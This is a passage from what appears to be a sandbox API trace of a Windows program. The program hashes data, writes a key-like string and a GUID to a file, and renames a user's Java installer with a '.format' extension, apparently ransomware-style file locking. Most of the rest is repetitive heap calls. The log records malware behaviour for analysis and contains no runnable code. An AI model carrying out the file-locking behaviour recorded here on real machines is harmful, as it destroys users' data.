pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.668] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.668] CryptGetHashParam (in: hHash=0x3276c80, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.668] GetLastError () returned 0x0 [0069.668] CryptDestroyHash (hHash=0x3276c80) returned 1 [0069.668] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.669] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdd600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.669] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.669] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.670] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.670] CloseHandle (hObject=0x5c8) returned 1 [0069.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0069.690] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.format")) returned 1 [0069.691] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 0 [0069.691] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.691] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x3146a70 [0069.691] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x32543a8 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.698] 